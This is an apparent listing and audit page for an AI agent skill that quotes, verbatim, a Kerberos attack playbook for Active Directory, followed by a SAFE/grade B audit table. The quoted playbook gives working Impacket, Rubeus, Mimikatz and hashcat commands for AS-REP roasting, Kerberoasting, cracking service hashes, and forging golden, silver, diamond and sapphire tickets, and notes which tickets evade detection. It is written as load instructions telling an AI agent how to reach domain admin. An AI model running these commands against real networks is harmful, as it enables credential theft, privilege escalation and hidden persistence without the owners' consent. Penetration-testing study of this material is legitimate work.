Active Directory Kerberos AttacksSAFE
Helping AI Agent become an awesome practical hacker!
Overview
Helping AI Agent become an awesome practical hacker!
a6bc8e8fefb6OBSERVED · 2026-10-23What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
--- name: active-directory-kerberos-attacks description: >- Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks. --- # SKILL: Kerberos Attack Playbook — Expert AD Attack Guide > **AI LOAD INSTRUCTION**: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs. ## 0. RELATED ROUTING Before going deep, consider loading: - [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based AD attacks often chained with Kerberos - [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ADCS-based persistence (golden certificate) - [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for NTLM relay attacks that complement Kerberos abuse - [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after obtaining tickets for lateral movement ### Advanced Reference Also load [KERBEROS_ATTACK_CHAINS.md](./KERBEROS_ATTACK_CHAINS.md) when you need: - Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay - End-to-end scenarios from foothold to domain admin - Chained delegation attack flows --- ## 1. KERBEROS AUTHENTICATION PRIMER ``` Client KDC (DC) Service │ │ │ │── AS-REQ ────────→│ │ (1) Request TGT with user creds │←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash) │ │ │ │── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket │←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash) │ │ │ │── AP-REQ ─────────────────────────────→│ (5) Present TGS to service │←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional) ``` --- ## 2. AS-REP ROASTING Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password. ### Enumerate Vulnerable Users ```bash # Impacket — from Linux GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt # Impacket — with domain creds (enumerate automatically) GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request # Rubeus — from Windows (domain-joined) Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt # PowerView — enumerate users Get-DomainUser -PreauthNotRequired | Select-Object samaccountname ``` ### Crack AS-REP Hash ```bash # Hashcat mode 18200 hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule # John john asrep.txt --wordlist=rockyou.txt ``` --- ## 3. KERBEROASTING Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash. ### Request Service Tickets ```bash # Impacket GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt # Rubeus (from Windows) Rubeus.exe kerberoast /outfile:tgs.txt # Rubeus — target specific SPN / high-value accounts Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt # PowerView + manual request Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com" ``` ### Crack TGS Hash ```bash # Hashcat mode 13100 (RC4) or 19700 (AES) hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule # RC4 tickets crack much faster than AES256 — target RC4 if possible # Rubeus: /tgtdeleg forces RC4 on some configs Rubeus.exe kerberoast /tgtdeleg ``` --- ## 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE ### Golden Ticket Forge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones. ```bash # Impacket — forge golden ticket ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator # Mimikatz kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt # Rubeus Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt ``` **Prerequisites**: krbtgt NTLM hash (from DCSync or NTDS.dit) **Persistence**: Valid until krbtgt password is changed **twice** ### Silver Ticket Forge TGS using the service account's hash → access specific service only, no KDC interaction. ```bash # Impacket — forge silver ticket for CIFS (file share) ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator # Mimikatz kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt ``` | Target Service | SPN Format | Use Case | |---|---|---| | File shares | `cifs/host` | Access SMB shares | | WinRM | `http/host` | Remote PowerShell | | LDAP | `ldap/dc` | DCSync-like queries | | MSSQL | `MSSQLSvc/host:1433` | Database access | | Exchange | `http/mail.domain.com` | Mailbox access | ### Diamond Ticket Modify a legitimately issued TGT → harder to detect than golden ticket. ```bash # Rubeus — request real TGT then modify PAC Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt ``` **Advantage**: The ticket's metadata (timestamps, enc type) matches a real TGT issuance. ### Sapphire Ticket Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket. ```bash # Rubeus Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /grou
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | NA |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (0)
No findings outside the package's declared scope.
Gates applied: no_behavioural_pass.
a6bc8e8fefb6full audit observations/trust-audit/skill/yaklang__active-directory-kerberos-attacks.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-23 | a6bc8e8fefb6 | SAFE | B | 89 | first audit |
Questions
What does the active-directory-kerberos-attacks — yaklang/hack-skills skill do?
Helping AI Agent become an awesome practical hacker!
Is active-directory-kerberos-attacks — yaklang/hack-skills safe to install?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean skill reads B.
What can active-directory-kerberos-attacks — yaklang/hack-skills access on my machine?
The audit observed no filesystem, network or shell use at all in its source.
How current is this page?
The grade is for one exact copy of the source (a6bc8e8fefb6), read on 2026-10-23. The repository is watched, and a new audit runs when it changes — this is the first audit.
Add this badge to your README
Shows this page's audit result and links back to it. It updates when the audit does.
[](https://modelsatlas.com/skills/yaklang/active-directory-kerberos-attacks/)
Not your listing, or something out of date? Claim or update your listing.